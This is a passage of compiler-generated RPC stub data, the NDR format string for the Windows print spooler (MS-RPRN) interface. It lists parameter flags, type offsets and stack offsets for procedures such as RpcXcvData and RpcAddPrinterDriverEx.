Type Offset=1436 */\n\n\t/* Parameter pEnumValues */\n\n/* 4562 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4564 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4566 */\tNdrFcShort( 0x336 ),\t/* Type Offset=822 */\n\n\t/* Parameter cbEnumValues */\n\n/* 4568 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4570 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4572 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbEnumValues */\n\n/* 4574 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4576 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4578 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pnEnumValues */\n\n/* 4580 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4582 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4586 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4588 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterKey */\n\n/* 4592 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4594 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4598 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 4600 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4602 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4604 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4606 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4608 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4610 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4612 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 4614 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4616 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4624 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4626 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4628 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4630 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4632 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4634 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pSubkey */\n\n/* 4636 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4638 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4640 */\tNdrFcShort( 0x944 ),\t/* Type Offset=2372 */\n\n\t/* Parameter cbSubkey */\n\n/* 4642 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4644 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4646 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbSubkey */\n\n/* 4648 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4650 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4652 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4654 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4656 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4658 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterDataEx */\n\n/* 4660 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4662 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4666 */\tNdrFcShort( 0x51 ),\t/* 81 */\n/* 4668 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4670 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4672 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4674 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4676 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4678 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4680 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4682 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4686 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4690 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4692 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4694 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4696 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4698 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4700 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4702 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValueName */\n\n/* 4704 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4706 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4708 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4710 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4712 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4714 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterKey */\n\n/* 4716 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4722 */\tNdrFcShort( 0x52 ),\t/* 82 */\n/* 4724 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4726 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4728 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4730 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4732 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4734 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4736 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4738 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4742 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4748 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4750 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4752 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4754 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4756 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4758 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4760 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4762 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4764 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum83NotUsedOnWire */\n\n/* 4766 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4772 */\tNdrFcShort( 0x53 ),\t/* 83 */\n/* 4774 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4776 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4778 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4780 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4784 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4786 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4794 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterDriverEx */\n\n/* 4796 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4798 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4802 */\tNdrFcShort( 0x54 ),\t/* 84 */\n/* 4804 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4806 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4808 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4810 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4812 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4814 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4816 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 4818 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4824 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 4828 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4830 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4832 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 4834 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4836 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4838 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pDriverName */\n\n/* 4840 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4842 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4844 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter dwDeleteFlag */\n\n/* 4846 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4848 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4850 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwVersionNum */\n\n/* 4852 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4854 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4856 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4858 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4860 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4862 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPerMachineConnection */\n\n/* 4864 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4866 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4870 */\tNdrFcShort( 0x55 ),\t/* 85 */\n/* 4872 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4874 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4876 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4878 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4880 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4882 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4884 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4886 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 4896 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4898 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4900 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 4902 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4904 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4906 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pPrintServer */\n\n/* 4908 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4910 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4912 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pProvider */\n\n/* 4914 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4916 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4918 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4920 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4922 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePerMachineConnection */\n\n/* 4926 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4928 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4932 */\tNdrFcShort( 0x56 ),\t/* 86 */\n/* 4934 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4936 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4938 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4940 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4942 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4944 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4946 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4948 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4950 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4952 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4954 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4956 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 4958 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4960 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4962 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 4964 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4966 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4968 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4970 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4972 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4974 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPerMachineConnections */\n\n/* 4976 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4978 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4982 */\tNdrFcShort( 0x57 ),\t/* 87 */\n/* 4984 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4986 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4988 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4990 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4992 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4994 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4996 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 4998 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 5000 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5002 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5004 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5006 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 5008 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5010 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5012 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 5014 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 5016 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5018 */\tNdrFcShort( 0x97c ),\t/* Type Offset=2428 */\n\n\t/* Parameter cbBuf */\n\n/* 5020 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5022 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5024 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 5026 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5028 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5030 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 5032 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5034 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5036 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5038 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5040 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5042 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcXcvData */\n\n/* 5044 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5046 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5050 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 5052 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 5054 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5056 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5058 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5060 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 5062 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 5064 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 5066 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 5068 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5070 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5074 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hXcv */\n\n/* 5076 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5078 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5080 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pszDataName */\n\n/* 5082 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5084 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5086 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pInputData */\n\n/* 5088 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5090 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5092 */\tNdrFcShort( 0x336 ),\t/* Type Offset=822 */\n\n\t/* Parameter cbInputData */\n\n/* 5094 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5096 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5098 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOutputData */\n\n/* 5100 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 5102 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5104 */\tNdrFcShort( 0x19a ),\t/* Type Offset=410 */\n\n\t/* Parameter cbOutputData */\n\n/* 5106 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5108 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbOutputNeeded */\n\n/* 5112 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5114 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5116 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwStatus */\n\n/* 5118 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 5120 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 5122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5124 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5126 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 5128 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinterDriverEx */\n\n/* 5130 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5132 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5136 */\tNdrFcShort( 0x59 ),\t/* 89 */\n/* 5138 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5140 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 5142 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5144 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5146 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5148 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5150 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 5152 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 5154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5156 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5158 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 5162 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5164 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5166 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDriverContainer */\n\n/* 5168 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5170 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5172 */\tNdrFcShort( 0x58a ),\t/* Type Offset=1418 */\n\n\t/* Parameter dwFileCopyFlags */\n\n/* 5174 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5176 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5180 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5182 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5184 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum90NotUsedOnWire */\n\n/* 5186 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5188 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5192 */\tNdrFcShort( 0x5a ),\t/* 90 */\n/* 5194 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5196 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5198 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 